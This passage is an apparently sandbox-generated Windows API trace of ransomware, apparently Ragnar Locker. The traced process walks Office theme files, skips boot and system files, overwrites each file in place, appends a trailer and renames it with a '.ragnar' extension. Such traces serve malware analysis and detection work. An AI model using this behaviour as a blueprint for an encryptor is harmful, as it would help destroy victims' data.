CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.200] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=41295) returned 1 [0094.200] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa146, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.200] GetProcessHeap () returned 0x580000 [0094.200] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.200] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.202] VirtualAlloc (lpAddress=0x0, dwSize=0xa14f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.202] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.202] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.202] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0xa14f, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0xa14f, lpOverlapped=0x0) returned 1 [0094.203] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.203] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xa14f, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.203] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0xa14f, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0xa14f, lpOverlapped=0x0) returned 1 [0094.204] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xa14f, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.204] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.204] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0xa14f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.204] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.204] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.204] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.204] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.204] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.204] GetProcessHeap () returned 0x580000 [0094.204] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.205] CloseHandle (hObject=0x98) returned 1 [0094.205] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" [0094.205] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.ragnar_FD7BD9FC" [0094.205] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Thatch.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\thatch.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.205] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35ad2400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x35ad2400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1fb84, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.eftx", cAlternateFileName="TREK~1.EFT")) returned 1 [0094.205] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.205] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Trek.eftx" | out: lpString1="Trek.eftx") returned="Trek.eftx" [0094.206] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned=".eftx" [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="autorun.inf") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="boot.ini") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="bootfont.bin") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="bootsect.bak") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="bootmgr") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="bootmgr.efi") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="bootmgfw.efi") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="desktop.ini") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="iconcache.db") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="ntldr") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="ntuser.dat") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="ntuser.dat.log") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="ntuser.ini") returned 1 [0094.206] lstrcmpiW (lpString1="Trek.eftx", lpString2="thumbs.db") returned 1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.206] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.206] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx")) returned 0x20 [0094.207] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.207] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=129924) returned 1 [0094.207] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1fb7b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.207] GetProcessHeap () returned 0x580000 [0094.207] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.207] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.209] VirtualAlloc (lpAddress=0x0, dwSize=0x1fb84, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.209] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.209] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.209] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x1fb84, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x1fb84, lpOverlapped=0x0) returned 1 [0094.212] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.213] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fb84, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.213] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x1fb84, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x1fb84, lpOverlapped=0x0) returned 1 [0094.214] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1fb84, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.214] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.214] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x1fb84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.214] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.214] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.215] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.215] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.215] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.215] GetProcessHeap () returned 0x580000 [0094.215] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.215] CloseHandle (hObject=0x98) returned 1 [0094.215] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" [0094.215] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.ragnar_FD7BD9FC" [0094.215] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Trek.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\trek.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.216] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3940ab00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3940ab00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x4c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.eftx", cAlternateFileName="URBAN~1.EFT")) returned 1 [0094.216] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.216] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Urban.eftx" | out: lpString1="Urban.eftx") returned="Urban.eftx" [0094.216] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned=".eftx" [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="autorun.inf") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="boot.ini") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="bootfont.bin") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="bootsect.bak") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="bootmgr") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="bootmgr.efi") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="bootmgfw.efi") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="desktop.ini") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="iconcache.db") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="ntldr") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="ntuser.dat") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="ntuser.dat.log") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="ntuser.ini") returned 1 [0094.216] lstrcmpiW (lpString1="Urban.eftx", lpString2="thumbs.db") returned 1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.216] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.216] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx")) returned 0x20 [0094.217] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.218] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=19611) returned 1 [0094.218] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x4c92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.218] GetProcessHeap () returned 0x580000 [0094.218] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.218] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.219] VirtualAlloc (lpAddress=0x0, dwSize=0x4c9b, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0094.219] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.219] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0094.219] ReadFile (in: hFile=0x98, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x4c9b, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x4c9b, lpOverlapped=0x0) returned 1 [0094.220] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0094.221] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4c9b, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.221] WriteFile (in: hFile=0x98, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x4c9b, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x4c9b, lpOverlapped=0x0) returned 1 [0094.221] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4c9b, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.221] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0094.221] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x4c9b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.221] LockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0094.221] WriteFile (in: hFile=0x98, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.221] WriteFile (in: hFile=0x98, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0094.221] WriteFile (in: hFile=0x98, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0094.221] UnlockFile (hFile=0x98, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0094.222] GetProcessHeap () returned 0x580000 [0094.222] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0094.222] CloseHandle (hObject=0x98) returned 1 [0094.222] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" [0094.222] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.ragnar_FD7BD9FC" [0094.222] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Urban.eftx.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\urban.eftx.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0094.222] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3cd43200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3cd43200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x79f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.eftx", cAlternateFileName="VERVE~1.EFT")) returned 1 [0094.222] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x4a [0094.222] lstrcpyW (in: lpString1=0x1eb64e, lpString2="Verve.eftx" | out: lpString1="Verve.eftx") returned="Verve.eftx" [0094.222] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx") returned=".eftx" [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="RGNR_FD7BD9FC.txt") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="autorun.inf") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="boot.ini") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="bootfont.bin") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="bootsect.bak") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="bootmgr") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="bootmgr.efi") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="bootmgfw.efi") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="desktop.ini") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="iconcache.db") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="ntldr") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="ntuser.dat") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="ntuser.dat.log") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="ntuser.ini") returned 1 [0094.223] lstrcmpiW (lpString1="Verve.eftx", lpString2="thumbs.db") returned 1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".db") returned 1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".sys") returned -1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".dll") returned 1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".lnk") returned -1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".msi") returned -1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".drv") returned 1 [0094.223] lstrcmpiW (lpString1=".eftx", lpString2=".exe") returned -1 [0094.223] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx")) returned 0x20 [0094.224] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Verve.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\verve.eftx"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x98 [0094.224] GetFileSizeEx (in: hFile=0x98, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=31224) returned 1 [0094.224] SetFilePointerEx (in: hFile=0x98, liDistanceToMove=0x79ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0094.224] GetProcessHeap () returned 0x580000 [0094.224] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0094.224] ReadFile (in: hFile=0x98, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0094.226] 